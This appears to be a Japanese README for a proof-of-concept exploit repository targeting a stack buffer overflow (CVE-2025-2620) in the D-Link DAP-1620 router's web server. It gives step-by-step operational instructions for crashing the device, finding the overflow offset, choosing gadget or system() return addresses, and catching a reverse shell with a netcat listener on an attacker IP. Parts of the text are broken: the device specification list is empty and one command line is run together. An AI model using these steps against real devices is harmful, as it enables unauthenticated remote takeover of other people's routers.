
このリポジトリには、ファームウェアバージョン 1.03 を実行している D-Link DAP-1620 ルーターで発見された深刻なスタックベースのバッファオーバーフロー脆弱性である CVE-2025-2620 用の高度な概念実証(PoC)エクスプロイトが含まれています。この脆弱性により、認証されていないリモート攻撃者がルーターのWebサーバーをクラッシュさせ(サービス拒否、DoS)、任意のコードを実行できる可能性があります(リモートコード実行、RCE)。
このプロジェクトの目的は、エクスプロイト開発スキルを実証することです。
CVE-2025-2620 は、D-Link DAP-1620 ルーターの mod_graph_auth_uri_handler 関数に影響を与えます。具体的には /storage エンドポイント内です。この脆弱性は不適切な境界チェックが原因で、攻撃者が割り当てられたバッファサイズを超える大きな入力を送信できるようになり、スタックベースのバッファオーバーフローを引き起こします。
脆弱性のある関数は、HTTPリクエストからの認証パラメータ(auth)を処理します:
void mod_graph_auth_uri_handler(char *input) {
char buffer[512]; // Fixed-size stack buffer
strcpy(buffer, input); // No length check, causes overflow
// Process authentication...
}
攻撃者が過大なペイロード(例:1024バイト以上)を送信すると、関数の戻りアドレスを含む隣接するメモリを上書きし、コード実行につながる可能性があります。
D-Link DAP-1620 は、以下の仕様を持つ Wi-Fi レンジエクステンダーです:
同様のファームウェアを使用している他の D-Link ルーター/エクステンダーも影響を受ける可能性があります。
複合PoC – バッファオーバーフローテストとRCEエクスプロイトの両方を含む。
スタックベースのバッファオーバーフローテスト – 脆弱なルーターを識別する。
完全なリモートコード実行(RCE)エクスプロイト – リバースシェルを起動する。
設定可能なペイロードサイズと戻りアドレス – 異なるルーターモデルに適応可能。
拡張デバッグ – クラッシュオフセットをログに記録してエクスプロイトパラメータを調整する。
git clone https://github.com/Otsmane-Ahmed/CVE-2025-2620-poc.git
cd CVE-2025-2620-poc
Python3 と pwntools がインストールされていることを確認してください:
pip install pwntools
CVE-2025-2620_poc.py スクリプトを変更します:
TARGET_IP = "192.168.0.1" # change to match your router
ATTACKER_IP = "192.168.0.100" # change to your local IP
ATTACKER_PORT = 4444 # change if needed
BUFFER_SIZE = 8000 # Increase if the router does not crash
PoCを変更して、一意のパターンを生成して送信します:
MODE = "overflow" # Set to "overflow" to find the offset
スクリプトを実行します:
python3 CVE-2025-2620_poc.py
ルーターをクラッシュさせた後、セグメンテーションフォールトアドレス(x86ではEIP、MIPSではRA)を以下から確認します:
gdb)dmesg | grep 'segfault'0x61616161 のようなアドレスを探します(これはサイクリックパターンの一部が戻りポインタを上書きしたことを意味します)。
cyclic_find を使用して正確なオフセットを特定します:
from pwn import cyclic_find
print(cyclic_find(0x61616161)) # Replace with the crash address
これで正確なOFFSET値が得られます。PoCを更新します:
OFFSET = <FOUND OFFSET> # Replace with the actual number
RET_ADDR)を見つけるオプション1:JMP または CALL ガジェットを見つける
ROPgadget --binary vulnerable_binary | grep "jmp"
レジスタにジャンプするアドレスを選択します(例:jmp $sp または jmp $ra)。
オプション2:ret2libc アドレスを使用する
libc 内の system() のアドレスを見つけます:
objdump -D /lib/libc.so.6 | grep "system"
次に、それを RET_ADDR として使用します:
RET_ADDR = struct.pack("<I", 0xdeadbeef) # Replace with actual address
nc -lvnp 4444
python3 CVE-2025-2620_poc.py --mode rce
Otsmane Ahmed によって ❤️ を込めて開発されました
| メトリック | 値 |
|---|
| 攻撃ベクトル | ネットワーク |
| 攻撃の複雑さ | 低 |
| 必要な特権 | なし |
| ユーザー操作 | なし |
| 機密性への影響 | 高 |
| 完全性への影響 | 高 |
| 可用性への影響 | 高 |